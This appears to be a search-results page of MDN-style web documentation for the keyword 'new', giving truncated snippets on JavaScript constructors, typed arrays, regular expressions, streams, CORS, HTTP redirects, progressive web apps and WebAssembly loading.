Visualizations with Web Audio API - Web APIs
urce, which can then be used to create visualizations. this article explains how, and provides a couple of basic use cases. note: you can find working examples of all the code snippets in our voice-change-o-matic demo. ...
...tant. read those pages to get more information on how to use them. to capture data, you need to use the methods analysernode.getfloatfrequencydata() and analysernode.getbytefrequencydata() to capture frequency data, and analysernode.getbytetimedomaindata() and analysernode.getfloattimedomaindata() to capture waveform data. these methods copy data into a specified array, so you need to create a
new array to receive the data before invoking one. the first one produces 32-bit floating point numbers, and the second and third ones produce 8-bit unsigned integers, therefore a standard javascript array won't do — you need to use a float32array or uint8array array, depending on what data you are handling. so for example, say we are dealing with an fft size of 2048. we return the analysernode.fr...
...at data you are handling. so for example, say we are dealing with an fft size of 2048. we return the analysernode.frequencybincount value, which is half the fft, then call uint8array() with the frequencybincount as its length argument — this is how many data points we will be collecting, for that fft size. analyser.fftsize = 2048; var bufferlength = analyser.frequencybincount; var dataarray =
new uint8array(bufferlength); to actually retrieve the data and copy it into our array, we then call the data collection method we want, with the array passed as it's argument. for example: analyser.getbytetimedomaindata(dataarray); we now have the audio data for that moment in time captured in our array, and can proceed to visualize it however we like, for example by plotting it onto an html5 <ca...
...And 4 more matches
WindowOrWorkerGlobalScope.setInterval() - Web APIs
th - 1) { clean(); return; } ocurrent.nodevalue += spart.charat(0); spart = spart.slice(1); } function sheet (onode) { this.ref = onode; if (!onode.haschildnodes()) { return; } this.parts = array.prototype.slice.call(onode.childnodes); for (var nchild = 0; nchild < this.parts.length; nchild++) { onode.removechild(this.parts[nchild]); this.parts[nchild] =
new sheet(this.parts[nchild]); } } var nintervid, ocurrent = null, btyping = false, bstart = true, nidx = 0, spart = "", asheets = [], amap = []; this.rate = nrate || 100; this.play = function () { if (btyping) { return; } if (bstart) { var aitems = document.queryselectorall(sselector); if (aitems.length === 0) { return; } for (var nitem = 0; nitem < ...
... nintervid, ocurrent = null, btyping = false, bstart = true, nidx = 0, spart = "", asheets = [], amap = []; this.rate = nrate || 100; this.play = function () { if (btyping) { return; } if (bstart) { var aitems = document.queryselectorall(sselector); if (aitems.length === 0) { return; } for (var nitem = 0; nitem < aitems.length; nitem++) { asheets.push(
new sheet(aitems[nitem])); /* uncomment the following line if you have previously hidden your elements via css: */ // aitems[nitem].style.visibility = "visible"; } bstart = false; } nintervid = setinterval(typewrite, this.rate); btyping = true; }; this.pause = function () { clearinterval(nintervid); btyping = false; }; this.terminate = funct...
... bstart = false; } nintervid = setinterval(typewrite, this.rate); btyping = true; }; this.pause = function () { clearinterval(nintervid); btyping = false; }; this.terminate = function () { ocurrent.nodevalue += spart; spart = ""; for (nidx; nidx < asheets.length; scroll(asheets[nidx++], 0, false)); clean(); }; } /* usage: */ var otwexample1 =
new typewriter(/* elements: */ '#article, h1, #info, #copyleft', /* frame rate (optional): */ 15); /* default frame rate is 100: */ var otwexample2 =
new typewriter('#controls'); /* you can also change the frame rate value modifying the "rate" property; for example: */ // otwexample2.rate = 150; onload = function () { otwexample1.play(); otwexample2.play(); }; </script> <style type="text/css">...
...And 4 more matches
WritableStream - Web APIs
the writablestream interface of the the streams api provides a standard abstraction for writing streaming data to a destination, known as a sink. this object comes with built-in backpressure and queuing. constructor writablestream() creates a
new writablestream object. properties writablestream.locked read only a boolean indicating whether the writablestream is locked to a writer. methods writablestream.abort() aborts the stream, signaling that the producer can no longer successfully write to the stream and it is to be immediately moved to an error state, with any queued writes discarded. writablestream.close() closes the stream. writablestream.getwriter() returns a
new instance of writablestreamdefaultwriter and locks the stream to that instance. while the stream is...
...writablestreamdefaultwriter and locks the stream to that instance. while the stream is locked, no other writer can be acquired until this one is released. examples the following example illustrates several features of this interface. it shows the creation of the writablestream with a custom sink and an api-supplied queueing strategy. it then calls a function called sendmessage(), passing the
newly created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. const list = document.queryselector('ul'); functi...
...is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. ...
...And 4 more matches
WritableStreamDefaultWriter - Web APIs
properties writablestreamdefaultwriter.closedread only allows you to write code that responds to an end to the streaming process. ...
...ritablestreamdefaultwriter.write() writes a passed chunk of data to a writablestream and its underlying sink, then returns a promise that resolves to indicate the success or failure of the write operation. examples the following example shows the creation of a writablestream with a custom sink and an api-supplied queuing strategy. it then calls a function called sendmessage(), passing the
newly created stream and a string. inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter. a foreach() call is used to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. const list = document.queryselector('ul'); f...
...to write each chunk of the string to the stream. finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams. ...
...And 4 more matches
ARIA: button role - Accessibility
event handlers for click and keydown events, including the enter and space keys, in order to process the user's input. see the official wai-aria example code. description the button role identifies an element as a button to screen readers. a button is a widget used to perform actions such as submitting a form, opening a dialog, cancelling an action, or performing a command such as inserting a
new record or displaying information. a common convention to inform users a button will launch a dialog is to append "…" (ellipsis) to the button's label, e.g., "save as…". in addition to the ordinary button widget, role="button" should be included when creating a toggle button or menu button using a non button element. a toggle button is a two-state button that can be either off (not pressed) ...
...ibute is required to make the button focusable and part of the page's tab order. the included css style is provided to make the <span> element look like a button, and to provide visual cues when the button has focus. the handlebtnclick and handlebtnkeydown event handlers perform the button's action when activated using a mouse click or the space or enter key. ...
...e handlebtnclick and handlebtnkeydown event handlers perform the button's action when activated using a mouse click or the space or enter key. in this case, the action is to add a
new name to the list of names. try the example by adding a name to the text box. the button will cause the name to be added to a list. ...
...And 4 more matches
Border-radius generator - CSS: Cascading Style Sheets
node.getattribute('data-topic'); var unit = node.getattribute('data-unit'); var name = node.getattribute('data-info'); var sensivity = node.getattribute('data-sensivity') | 0; this.min = min; this.max = max > 0 ? max : 100; this.step = step === 0 ? 1 : step; this.topic = topic; this.node = node; this.unit = unit; this.sensivity = sensivity > 0 ? ...
...ode.getattribute('data-unit'); var name = node.getattribute('data-info'); var sensivity = node.getattribute('data-sensivity') | 0; this.min = min; this.max = max > 0 ? max : 100; this.step = step === 0 ? 1 : step; this.topic = topic; this.node = node; this.unit = unit; this.sensivity = sensivity > 0 ? ...
...tattribute('data-info'); var sensivity = node.getattribute('data-sensivity') | 0; this.min = min; this.max = max > 0 ? max : 100; this.step = step === 0 ? 1 : step; this.topic = topic; this.node = node; this.unit = unit; this.sensivity = sensivity > 0 ? ...
...And 4 more matches
Mastering Wrapping of Flex Items - CSS: Cascading Style Sheets
in this guide i will explain how this works, what it is designed for and what situations really require css grid layout rather than flexbox. making things wrap the initial value of the flex-wrap property is nowrap. ...
...in this guide i will explain how this works, what it is designed for and what situations really require css grid layout rather than flexbox. making things wrap the initial value of the flex-wrap property is nowrap. ...
...in this guide i will explain how this works, what it is designed for and what situations really require css grid layout rather than flexbox. making things wrap the initial value of the flex-wrap property is nowrap. ...
...And 4 more matches
Using the application cache - HTML: Hypertext Markup Language
n cache modifies the normal process of loading a document: if an application cache exists, the browser loads the document and its associated resources directly from the cache, without accessing the network. this speeds up the document load time. the browser then checks to see if the cache manifest has been updated on the server. if the cache manifest has been updated, the browser downloads a
new version of the manifest and the resources listed in the manifest. this is done in the background and does not affect performance significantly. the process for loading documents and updating the application cache is specified in greater detail below: when the browser visits a document that includes the manifest attribute, if no application cache exists, the browser loads the document and the...
...he browser should cache all the listed resources in the application cache. resources can be specified using either absolute or relative urls (e.g., index.html). the "v1" comment in the example above is there for a good reason. browsers only update an application cache when the manifest file changes, byte for byte. ...
... sections in a cache manifest file: cache, network, and fallback a manifest can have three distinct sections: cache, network, and fallback. cache: this is the default section for entries in a cache manifest file. ...
...And 4 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
is such as xmlhttprequest or fetch to mitigate the risks of cross-origin http requests. who should read this article? everyone, really. more specifically, this article is for web administrators, server developers, and front-end developers. modern browsers handle the client side of cross-origin sharing, including headers and policy enforcement. but the cors standard means servers have to handle
new request and response headers. another article for server developers discussing cross-origin sharing from a server perspective (with php code snippets) is supplementary reading. what requests use cors? this cross-origin sharing standard can enable cross-site http requests for: invocations of the xmlhttprequest or fetch apis, as discussed above. web fonts (for cross-domain font usage in @font...
...nts that can only be cross-site loaded and used by web sites that are permitted to do so. webgl textures. images/video frames drawn to a canvas using drawimage(). css shapes from images. this article is a general discussion of cross-origin resource sharing and includes a discussion of the necessary http headers. functional overview the cross-origin resource sharing standard works by adding
new http headers that let servers describe which origins are permitted to read that information from a web browser. additionally, for http request methods that can cause side-effects on server data (in particular, http methods other than get, or post with certain mime types), the specification mandates that browsers "preflight" the request, soliciting supported methods from the server with the http o...
...d object used in the request; these are accessed using the xmlhttprequest.upload property. no readablestream object is used in the request. note: these are the same kinds of cross-site requests that web content can already issue, and no response data is released to the requester unless the server sends an appropriate header. therefore, sites that prevent cross-site request forgery have nothing
new to fear from http access control. note: webkit nightly and safari technology preview place additional restrictions on the values allowed in the accept, accept-language, and content-language headers. if any of those headers have ”nonstandard” values, webkit/safari does not consider the request to be a “simple request”. what values webkit/safari consider “nonstandard” is not documente...
...And 4 more matches
Redirections in HTTP - HTTP
directs to preserve existing links/bookmarks after changing the site's urls, progress pages when uploading a file, etc. principle in http, redirection is triggered by a server sending a special redirect response to a request. redirect responses have status codes that start with 3, and a location header holding the url to redirect to. when browsers receive a redirect, they immediately load the
new url provided in the location header. besides the small performance hit of an additional round-trip, users rarely notice the redirection. there are several types of redirects, sorted into three categories: permanent redirections temporary redirections special redirections permanent redirections these redirections are meant to last forever. they imply that the original url should no long...
...er. besides the small performance hit of an additional round-trip, users rarely notice the redirection. there are several types of redirects, sorted into three categories: permanent redirections temporary redirections special redirections permanent redirections these redirections are meant to last forever. they imply that the original url should no longer be used, and replaced with the
new one.search engine robots, rss readers, and other crawlers will update the original url for the resource. code text method handling typical use case 301 moved permanently get methods unchanged. others may or may not be changed to get.[1] reorganization of a web site. 308 permanent redirect method and body not changed. reorganization of...
...there are existing user agents that do change their method. 308 was created to remove the ambiguity of the behavior when using non-get methods. temporary redirections sometimes the requested resource can't be accessed from its canonical location, but it can be accessed from another place. in this case, a temporary redirect can be used. search engine robots and other crawlers don't memorize the
new, temporary url. temporary redirections are also used when creating, updating, or deleting resources, to show temporary progress pages. code text method handling typical use case 302 found get methods unchanged. others may or may not be changed to get.[2] the web page is temporarily unavailable for unforeseen reasons. 303 see other get me...
...And 4 more matches
Expressions and operators - JavaScript
using the following rules: false && anything is short-circuit evaluated to false. true || anything is short-circuit evaluated to true. the rules of logic guarantee that these evaluations are always correct. note that the anything part of the above expressions is not evaluated, so any side effects of doing so do not take effect. note that for the second case, in modern code you can use the
new nullish coalescing operator (??) that works like ||, but it only returns the second expression, when the first one is "nullish", i.e. null or undefined. it is thus the better alternative to provide defaults, when values like '' or 0 are valid values for the first expression, too. string operators in addition to the comparison operators, which can be used on string values, the concatenation oper...
...s array methods such as splice. typeof the typeof operator is used in either of the following ways: typeof operand typeof (operand) the typeof operator returns a string indicating the type of the unevaluated operand. operand is the string, variable, keyword, or object for which the type is to be returned. the parentheses are optional. ...
...operand typeof (operand) the typeof operator returns a string indicating the type of the unevaluated operand. operand is the string, variable, keyword, or object for which the type is to be returned. the parentheses are optional. ...
...And 4 more matches
Regular expressions - JavaScript
using a regular expression literal, which consists of a pattern enclosed between slashes, as follows: let re = /ab+c/; regular expression literals provide compilation of the regular expression when the script is loaded. if the regular expression remains constant, using this can improve performance. or calling the constructor function of the regexp object, as follows: let re =
new regexp('ab+c'); using the constructor function provides runtime compilation of the regular expression. use the constructor function when you know the regular expression pattern will be changing, or you don't know the pattern and are getting it from another source, such as user input. writing a regular expression pattern a regular expression pattern is composed of simple characters, such ...
...atch the string "c:\" where "c" can be any letter, you'd use /[a-z]:\\/ — the first backslash escapes the one after it, so the expression searches for a single literal backslash. if using the regexp constructor with a string literal, remember that the backslash is an escape in string literals, so to use it in the regular expression, you need to escape it at the string literal level. /a\*b/ and
new regexp("a\\*b") create the same expression, which searches for "a" followed by a literal "*" followed by "b". if escape strings are not already part of your pattern you can add them using string.replace: function escaperegexp(string) { return string.replace(/[.*+\-?^${}()|[\]\\]/g, '\\$&'); // $& means the whole matched string } the "g" after the regular expression is an option or flag that...
... to "cdbbdbsbz".match(/d(b+)d/g); however, // "cdbbdbsbz".match(/d(b+)d/g) outputs array [ "dbbd" ], while // /d(b+)d/g.exec('cdbbdbsbz') outputs array [ 'dbbd', 'bb', index: 1, input: 'cdbbdbsbz' ]. (see different behaviors for further info about the different behaviors.) if you want to construct the regular expression from a string, yet another alternative is this script: var myre =
new regexp('d(b+)d', 'g'); var myarray = myre.exec('cdbbdbsbz'); with these scripts, the match succeeds and returns the array and updates the properties shown in the following table. results of regular expression execution. object property or index description in this example myarray the matched string and all remembered substrings. ['dbbd', 'bb', index: 1...
...And 4 more matches
Public class fields - JavaScript
y declaring a public field, you can ensure the field is always present, and the class definition is more self-documenting. public instance fields are added with object.defineproperty() either at construction time in the base class (before the constructor body runs), or just after super() returns in a subclass. ...
...ss (before the constructor body runs), or just after super() returns in a subclass. class classwithinstancefield { instancefield = 'instance field' } const instance =
new classwithinstancefield() console.log(instance.instancefield) // expected output: "instance field" fields without initializers are initialized to undefined. class classwithinstancefield { instancefield } const instance =
new classwithinstancefield() console.assert(instance.hasownproperty('instancefield')) console.log(instance.instancefield) // expected output: "undefined" like properties, field names may be computed. ...
...just as in public instance methods, if you're in a subclass you can access the superclass prototype using super. ...
...And 4 more matches
constructor - JavaScript
ctive-examples and send us a pull request. syntax constructor([arguments]) { ... } description a constructor enables you to provide any custom initialization that must be done before any other methods can be called on an instantiated object. class person { constructor(name) { this.name = name; } introduce() { console.log(`hello, my name is ${this.name}`); } } const otto =
new person('otto'); otto.introduce(); if you don't provide your own constructor, then a default constructor will be supplied for you. if your class is a base class, the default constructor is empty: constructor() {} if your class is a derived class, the default constructor calls the parent constructor, passing along any arguments that were provided: constructor(...args) { super(...args); } th...
... console.log(error.printcustomermessage()); } else { console.log('unknown error', error); throw error; } } the validationerror class doesn't need an explicit constructor, because it doesn't need to do an...
... then you must explicitly call the parent class constructor using super. for example: class validationerror extends error { constructor(message) { super(message); // call parent class constructor this.name = 'validationerror'; this.code = '42'; } printcustomermessage() { return `validation failed :-( (details: ${this.message}, code: ${this.code})`; } } try { throw
new validationerror("not a valid phone number"); } catch (error) { if (error instanceof validationerror) { console.log(error.name); // now this is validationerror! console.log(error.printcustomermessage()); } else { console.log('unknown error', error); throw error; } } there can be only one special method with the name "constructor" in a class. having more than one occurrenc...
...And 4 more matches
BigInt64Array() constructor - JavaScript
the bigint64array() typed array constructor creates a
new bigint64array object, which is, an array of 64-bit signed integers in the platform byte order. if control over byte order is needed, use dataview instead. the contents are initialized to 0n. once established, you can reference elements in the array using the object's methods, or by using standard array index syntax (that is, using bracket notation). syntax
new bigint64array();
new bigint64array(length);
new bigint64array(typedarray);
new bigint64array(object);
new bigint64array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray when called with a typedarray arg...
...ct);
new bigint64array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a
new typed array. each value in typedarray is converted to the corresponding type of the constructor before being copied into the
new array. the length of the
new typed array will be same as the length of the typedarray argument. object when called with an object argument, a
new typed array is created as if by the typedarray.from() method. buffer, byteoffset, length when called with a buffer, and ...
...ed to the corresponding type of the constructor before being copied into the
new array. the length of the
new typed array will be same as the length of the typedarray argument. object when called with an object argument, a
new typed array is created as if by the typedarray.from() method. buffer, byteoffset, length when called with a buffer, and optionally a byteoffset and a length argument, a
new typed array view is created that views the specified arraybuffer. the byteoffset and length parameters specify the memory range that will be exposed by the typed array view. if both are omitted, all of buffer is viewed; if only length is omitted, the remainder of buffer is viewed. ...
...And 4 more matches
BigUint64Array() constructor - JavaScript
the biguint64array() typed array constructor creates a
new biguint64array object, which is, an array of 64-bit unsigned integers in the platform byte order. if control over byte order is needed, use dataview instead. the contents are initialized to 0n. once established, you can reference elements in the array using the object's methods, or by using standard array index syntax (that is, using bracket notation). syntax
new biguint64array();
new biguint64array(length);
new biguint64array(typedarray);
new biguint64array(object);
new biguint64array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray when called with a typed...
...t);
new biguint64array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a
new typed array. each value in typedarray is converted to the corresponding type of the constructor before being copied into the
new array. the length of the
new typed array will be same as the length of the typedarray argument. object when called with an object argument, a
new typed array is created as if by the typedarray.from() method. buffer, byteoffset, length when called with a buffer, and ...
...ed to the corresponding type of the constructor before being copied into the
new array. the length of the
new typed array will be same as the length of the typedarray argument. object when called with an object argument, a
new typed array is created as if by the typedarray.from() method. buffer, byteoffset, length when called with a buffer, and optionally a byteoffset and a length argument, a
new typed array view is created that views the specified arraybuffer. the byteoffset and length parameters specify the memory range that will be exposed by the typed array view. if both are omitted, all of buffer is viewed; if only length is omitted, the remainder of buffer is viewed. ...
...And 4 more matches
Boolean() constructor - JavaScript
the boolean() constructor is used to create boolean objects. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax
new boolean([value]) parameters value optional the initial value of the boolean object. ...
... for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax
new boolean([value]) parameters value optional the initial value of the boolean object. ...
...le is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax
new boolean([value]) parameters value optional the initial value of the boolean object. ...
...And 4 more matches
Intl.Collator - JavaScript
the intl.collator objects enable language sensitive string comparison. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. constructor intl.collator() creates a
new collator object. ...
...tatic methods intl.collator.supportedlocalesof() returns an array containing those of the provided locales that are supported without having to fall back to the runtime's default locale. instance methods intl.collator.prototype.compare getter function that compares two strings according to the sort order of this intl.collator object. ...
...g to the sort order of this intl.collator object. intl.collator.prototype.resolvedoptions() returns a
new object with properties reflecting the locale and collation options computed during initialization of the object. examples using collator the following example demonstrates the different potential results for a string occurring before, after, or at the same level as another: console.log(
new intl.collator().compare('a', 'c')); // → a negative value console.log(
new intl.collator().compare('c', 'a')); // → a positive value console.log(
new intl.collator().compare('a', 'a')); // → 0 note that the results shown in the code above can vary between browsers and browser versions. this is because the values are implementation-specific. that is, the specification requires only that the ...
...And 4 more matches
Promise() constructor - JavaScript
the promise constructor is primarily used to wrap functions that do not already support promises. the source for this interactive demo is stored in a github repository. if you'd like to contribute to the interactive demo project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax
new promise(executor) parameters executor a function to be executed by the constructor, during the process of constructing the promiseobj. ...
...r a function to be executed by the constructor, during the process of constructing the promiseobj. the executor is custom code that ties an outcome to a promise. you, the programmer, write the executor. the signature of this function is expected to be: function(resolutionfunc, rejectionfunc){ // typically, some asynchronous operation. } at the time when the constructor generates the
new promiseobj, it also generates a corresponding pair of functions for resolutionfunc and rejectionfunc; these are "tethered" to the promiseobj. therefore, the code within the executor has the opportunity to perform some operation and then reflect the operation's outcome(if the value is not another promise object) as either "fulfilled" or "rejected" by terminating with an invocation of either the r...
...an be whatever is desired, i.e. they are named as the parameters of executor. each function is used by simply calling it when appropriate. resolutionfunc(value) // call on fulfilled rejectionfunc(reason) // call on rejected the returned value can be another promise object, in which case the promise gets dynamically inserted into the chain. ...
...And 4 more matches
RegExp - JavaScript
ion literal notation and constructor there are two ways to create a regexp object: a literal notation and a constructor. the literal notation's parameters are enclosed between slashes and do not use quotation marks. the constructor function's parameters are not enclosed between slashes but do use quotation marks. the following three expressions create the same regular expression: /ab+c/i
new regexp(/ab+c/, 'i') // literal notation
new regexp('ab+c', 'i') // constructor the literal notation results in compilation of the regular expression when the expression is evaluated. use literal notation when the regular expression will remain constant. for example, if you use literal notation to construct a regular expression used in a loop, the regular expression won't be recompiled on each i...
...ctor the literal notation results in compilation of the regular expression when the expression is evaluated. use literal notation when the regular expression will remain constant. for example, if you use literal notation to construct a regular expression used in a loop, the regular expression won't be recompiled on each iteration. ...
...compiled on each iteration. the constructor of the regular expression object—for example,
new regexp('ab+c')—results in runtime compilation of the regular expression. use the constructor function when you know the regular expression pattern will be changing, or you don't know the pattern and obtain it from another source, such as user input. flags in constructor starting with ecmascript 6,
new regexp(/ab+c/, 'i') no longer throws a typeerror ("can't supply flags when constructing one regexp from another") when the first argument is a regexp and the second flags argument is present. a
new regexp from the arguments is created instead. when using the constructor function, the normal string escape rules (preceding special characters with \ when included in a string) are necessary. for ex...
...And 4 more matches
String.prototype.substring() - JavaScript
'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.substring(indexstart[, indexend]) parameters indexstart the index of the first character to include in the returned substring. indexend optional the index of the first character to exclude from the returned substring. return value a
new string containing the specified part of the given string. description substring() extracts characters from indexstart up to but not including indexend. in particular: if indexend is omitted, substring() extracts characters to the end of the string. if indexstart is equal to indexend, substring() returns an empty string. if indexstart is greater than indexend, then the effect of substring()...
...o find the indexes. console.log(text.slice(-5, 2)) // => "" console.log(text.slice(-5, -2)) // => "zil" see the slice() page for more examples with negative numbers. replacing a substring within a string the following example replaces a substring within a string. it will replace both individual characters and substrings. ...
... console.log(text.slice(-5, 2)) // => "" console.log(text.slice(-5, -2)) // => "zil" see the slice() page for more examples with negative numbers. replacing a substring within a string the following example replaces a substring within a string. it will replace both individual characters and substrings. the function call at the end of the example changes the string brave
new world to brave
new web. ...
...And 4 more matches
TypedArray.from() - JavaScript
this method is nearly the same as array.from(). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax typedarray.from(source[, mapfn[, thisarg]]) where typedarray is one of: int8array uint8array uint8clampedarray int16array uint16array int32array uint32array float32array float64array bigint64array biguint64array parameters source an array-like or iterable object to convert to a typed array. ...
...of: int8array uint8array uint8clampedarray int16array uint16array int32array uint32array float32array float64array bigint64array biguint64array parameters source an array-like or iterable object to convert to a typed array. mapfn optional map function to call on every element of the typed array. thisarg optional value to use as this when executing mapfn. return value a
new typedarray instance. description typedarray.from() lets you create typed arrays from: array-like objects (objects with a length property and indexed elements); or iterable objects (objects where you can get its elements, such as map and set). typedarray.from() has the optional parameter mapfn, which allows you to execute a map() function on each element of the typed array (or subclass obj...
....from(obj, mapfn, thisarg) typedarray.from(array.prototype.map.call(obj, mapfn, thisarg)). the length property of the from() method is 1. differences from array.from() some subtle distinctions between array.from() and typedarray.from(): if the thisarg value passed to typedarray.from() is not a constructor, typedarray.from() will throw a typeerror, where array.from() defaults to creating a
new array. typedarray.from() uses [[put]] where array.from() uses [[defineproperty]]. hence, when working with proxy objects, it calls handler.set to create
new elements rather than handler.defineproperty(). when the source parameter is an iterator, the typedarray.from() first collects all the values from the iterator, then creates an instance of thisarg using the count, then sets the values on the...
...And 4 more matches
Strict mode - JavaScript
es operations which should be errors non-error semantics. sometimes this fixes the immediate problem, but sometimes this creates worse problems in the future. strict mode treats these mistakes as errors so that they're discovered and promptly fixed. first, strict mode makes it impossible to accidentally create global variables. in normal javascript mistyping a variable in an assignment creates a
new property on the global object and continues to "work" (although future failure is possible: likely, in modern javascript). assignments, which would accidentally create global variables, instead throw an error in strict mode: 'use strict'; // assuming no global variable mistypedvariable exists mistypevariable = 17; // this line throws a referenceerror due to the ...
...uld otherwise silently fail to throw an exception. for example, nan is a non-writable global variable. in normal code assigning to nan does nothing; the developer receives no failure feedback. in strict mode assigning to nan throws an exception. ...
...nt to a non-writable global var undefined = 5; // throws a typeerror var infinity = 5; // throws a typeerror // assignment to a non-writable property var obj1 = {}; object.defineproperty(obj1, 'x', { value: 42, writable: false }); obj1.x = 9; // throws a typeerror // assignment to a getter-only property var obj2 = { get x() { return 17; } }; obj2.x = 5; // throws a typeerror // assignment to a
new property on a non-extensible object var fixed = {}; object.preventextensions(fixed); fixed.
newprop = 'ohai'; // throws a typeerror third, strict mode makes attempts to delete undeletable properties throw (where before the attempt would simply have no effect): 'use strict'; delete object.prototype; // throws a typeerror fourth, strict mode prior to gecko 34 requires that all properties named ...
...And 4 more matches
Introduction to progressive web apps - Progressive web apps (PWAs)
d, native apps are better integrated with the operating system and therefore offer a more seamless experience for the users. you can install a native app so that it works offline, and users love tapping their icons to easily access their favorite apps, rather than navigating to it using a browser. pwas give us the ability to create web apps that can enjoy these same advantages. it's not a brand
new concept—such ideas have been revisited many times on the web platform with various approaches in the past. progressive enhancement and responsive design already allow us to build mobile friendly websites. pwas, however, provide all this and more without losing any of the existing features that make the web great. what makes an app a pwa? as we hinted at above, pwas are not created with a sin...
...evisited many times on the web platform with various approaches in the past. progressive enhancement and responsive design already allow us to build mobile friendly websites. pwas, however, provide all this and more without losing any of the existing features that make the web great. what makes an app a pwa? as we hinted at above, pwas are not created with a single technology. they represent a
new philosophy for building web apps, involving some specific patterns, apis, and other features. it's not that obvious if a web app is a pwa or not from first glance. an app could be considered a pwa when it meets certain requirements, or implements a set of given features: works offline, is installable, is easy to synchronize, can send push notifications, etc. in addition, there are tools to measu...
...nes. installable, so it can be available on the device's home screen or app launcher. linkable, so you can share it by simply sending a url. network independent, so it works offline or with a poor network connection. progressive, so it's still usable on a basic level on older browsers, but fully-functional on the latest ones. re-engageable, so it's able to send notifications whenever there's
new content available. responsive, so it's usable on any device with a screen and a browser—mobile phones, tablets, laptops, tvs, refrigerators, etc. safe, so the connections between the user, the app, and your server are secured against any third parties trying to get access to sensitive data. offering these features and making use of all the advantages offered by web applications can create a...
...And 4 more matches
How to make PWAs re-engageable using Notifications and Push - Progressive web apps (PWAs)
previous overview: progressive next having the ability to cache the contents of an app to work offline is a great feature. allowing the user to install the web app on their home screen is even better. but instead of relying only on user actions, we can do more, using push messages and notifications to automatically re-engage and deliver
new content whenever it is available. ...
...eir home screen is even better. but instead of relying only on user actions, we can do more, using push messages and notifications to automatically re-engage and deliver
new content whenever it is available. two apis, one goal the push api and notifications api are two separate apis, but they work well together when you want to provide engaging functionality in your app. push is used to deliver
new content from the server to the app without any client-side intervention, and its operation is handled by the app's service worker. notifications can be used by the service worker to show
new information to the user, or at least alert them when something has been updated. they work outside of the browser window, just like service workers, so updates can be pushed and notifications can be shown wh...
...(for a real app, the notifications should be much less frequent, and more useful.) the advantage of the notifications api is that it uses the operating system's notification functionality. this means that ...
...And 4 more matches
Loading and running WebAssembly code - WebAssembly
webassembly is not yet integrated with <script type='module'> or es2015 import statements, thus there is not a path to have the browser fetch modules for you using imports. the older webassembly.compile/webassembly.instantiate methods require you to create an arraybuffer containing your webassembly module binary after fetching the raw bytes, and then compile/instantiate it. ...
... imports. the older webassembly.compile/webassembly.instantiate methods require you to create an arraybuffer containing your webassembly module binary after fetching the raw bytes, and then compile/instantiate it. this is analogous to
new function(string), except that we are substituting a string of characters (javascript source code) with an array buffer of bytes (webassembly source code). the
newer webassembly.compilestreaming/webassembly.instantiatestreaming methods are a lot more efficient — they perform their actions directly on the raw stream of bytes coming from the network, cutting out the need for the arraybuffer step. so how do we get those bytes into an array buffer and compiled? the following sections explain. using fetch fetch is a convenient, modern api for fetching netwo...
...ore efficient — they perform their actions directly on the raw stream of bytes coming from the network, cutting out the need for the arraybuffer step. so how do we get those bytes into an array buffer and compiled? the following sections explain. using fetch fetch is a convenient, modern api for fetching network resources. ...
...And 4 more matches
core/heritage - Archive of obsolete content
helper functions for inheritance. doing inheritance in javascript is both verbose and painful. reading or writing such code requires sharp eye and lot's of discipline, mainly due to code fragmentation and lots of machinery being exposed: // defining a simple class function dog(name) { // classes are for creating instances, calling them without `
new` changes // behavior, which in majority cases you need to handle, so you end up // with additional boilerplate. if (!(this instanceof dog)) return
new dog(name); this.name = name; }; // to define methods you need to make a dance with a special 'prototype' // property of the constructor function. this is too much machinery exposed. dog.prototype.type = 'dog'; dog.prototype.bark = function bark() { return 'ruff! ruff!' }; // subcla...
...me); this.name = name; }; // to define methods you need to make a dance with a special 'prototype' // property of the constructor function. this is too much machinery exposed. dog.prototype.type = 'dog'; dog.prototype.bark = function bark() { return 'ruff! ruff!' }; // subclassing a `dog` function pet(name, breed) { // once again we do our little dance if (!(this instanceof pet)) return
new pet(name, breed); dog.call(this, name); this.breed = breed; } // to subclass, you need to make another special dance with special // 'prototype' properties. pet.prototype = object.create(dog.prototype); // if you want correct instanceof behavior you need to make a dance with // another special `constructor` property of the `prototype` object. object.defineproperty(pet.prototype, 'constructor...
...anner: var { class } = require('sdk/core/heritage'); var dog = class({ initialize: function initialize(name) { this.name = name; }, type: 'dog', bark: function bark() { return 'ruff! ruff!' } }); note: we use term class to refer an exemplar constructs in a form of constructor functions with a proper prototype chain setup. ...
...And 3 more matches
lang/type - Archive of obsolete content
therwise. let { isnull } = require('sdk/lang/type'); isnull(null); // true isnull(false); // false parameters value : mixed the variable to check. returns boolean : boolean indicating if value is null. isstring(value) returns true if value is a string, false otherwise. uses typeof operator to check type, and will only properly detect string primitives: for example, a string created with
